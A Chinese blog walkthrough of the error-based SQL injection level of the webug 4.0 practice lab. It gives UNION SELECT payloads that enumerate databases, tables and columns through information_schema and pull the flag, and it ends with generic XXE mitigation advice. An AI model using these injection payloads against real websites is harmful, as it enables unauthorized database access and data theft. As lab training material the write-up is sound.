webug 4.0 第一关 显错注入

 

感谢webug团队一直以来的更新维护!

webug是什么

WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。

Webug官网:http://www.webug.org

Webug 4.0百度云地址: https://pan.baidu.com/s/1euUY4UG43BuOjhPqkJBvcw 提取码: 3xpy

来源:226安全团队

微信号:safeteam226

开始打靶

观察

这关的标题是显错注入,让我们先看下界面

 

看到id=1的话,让我们打开id=2,id=3观察下

id=2:

id=3:

通过对比以上三张图,我们可以得到两个结论:

1、红框部分是根据ID不同得到的不同搜索结果

 

2、猜测,如果搜索不到则那个位置没有结果,如id=3

综合以上,找到注入点的话首先考虑id=3(或其他)+union的方式

寻找注入点

报错注入的话,id=1,猜测下SQL语句是:

select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)

接下来挨个试试单引号、双引号、括号以及他们的相互组合:

url?id=1),括号无反应,看来是屏蔽了

url?id=1",双引号无反应

url?id=1'有结果

 

正式找到报错注入点了,接下来根据上面的结论让我们构造下url看看有多少列,知道了多少列才方便用union

(mysql有三种注释方法,1、# ... 2、-- ... 3、/.../,%23是#的url表示)

url:id=3' order by 1 %23,正常

url:id=3' order by 10 %23,错误

url:id=3' order by 5 %23,错误

url:id=3' order by 3 %23,错误

url:id=3' order by 2 %23,正常

 

用二分法最后测到查询结果为两列,接下来让我们看看我们想要的数据在第几列

url:id=3' union select 1,2 %23

 

 

在第二列。到了这里就完了,接下来我们可以利用这个注入点获取我们想要的信息了

比如用户名

url:id=3' union select 1,user() %23

比如操作系统名

url:id=3' union select 1,@@version_compile_os %23

 

2019/3/12:补充实现gif

 

2019/5/17:增加查询Flag

感谢@qingfengmengge的提醒,我之前一直以为那个提交Flag是吐槽用的呢 - -。好吧,接下来让我们来找Flag。

1、确认mysql版本

url:id=3' union select 1,version() %23

版本大于15的话mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息

 

2、确认mysql有哪些数据库

由于页面显示只有一个字段,而我们查出来的数据库肯定有多个。所以这里我们需要用到一个函数GROUP_CONCAT来组合多个数据。

SELECT NAME FROM USER;

SELECT GROUP_CONCAT(NAME) FROM USER;

好了,接下来让我们看看都有哪些数据库吧。

url:id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23

前三个都是mysql自带的数据库,因此我们只需要注意后面的test、webug、webug_sys、webug_width_byte数据库就行

 

3、确认当前查询的数据库

url:id=3' UNION SELECT 1,DATABASE() %23

注:SCHEMA()也能查当前使用的数据库

 

4、确认当前数据库下面的表

由于不知道那个Flag在哪,但是还是首先考虑同一个数据库下的表吧

url:id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23

我们看见了有flag表,那么里面的内容是不是就是我们需要的呢?

 

5、确认flag表的字段

url:id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' %23

有id和flag字段,让我们查查有哪些id和flag吧

 

6、确认flag表的内容

url:id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23

id只有一个1

那就看看flag字段的值是什么吧

url:id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23

 

7、输入flag

成功!

XXE(XML External Entity)注入是一种攻击技术,用于利用应用程序对外部实体的处理不当。通过在用户提供的输入中插入恶意的实体引用,攻击者可以读取本地文件、执行远程请求等。针对这种注入漏洞,应用程序应该对用户输入进行严格的过滤和验证,以避免恶意实体的注入。 关于Webug 4.0的XXE注入漏洞,我不清楚具体的细节和漏洞位置。通常,修补XXE注入漏洞的方法是通过禁用外部实体的解析或限制实体解析的范围。为了更好地保护应用程序免受XXE注入攻击,您可以参考以下几点建议: 1. 输入过滤和验证:对用户输入进行严格的过滤和验证,确保只接受合法的输入。可以使用白名单过滤或正则表达式等技术来限制输入。 2. 禁用外部实体解析:在解析XML时,禁用外部实体的解析。这可以防止恶意实体的注入。 3. 限制实体解析范围:如果应用程序需要解析实体,应该限制解析的范围,只允许解析特定的实体或特定的命名空间。 4. 使用安全的XML解析器:确保使用最新版本的XML解析器,并开启安全配置选项,以防止XXE注入攻击。 请注意,以上建议仅为一般性指导,具体修补漏洞需要根据应用程序和环境的特定情况来确定。建议您在修复漏洞之前,先了解Webug 4.0的文档、漏洞报告或咨询安全专家以获取更准确的信息和解决方案。
评论 22
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值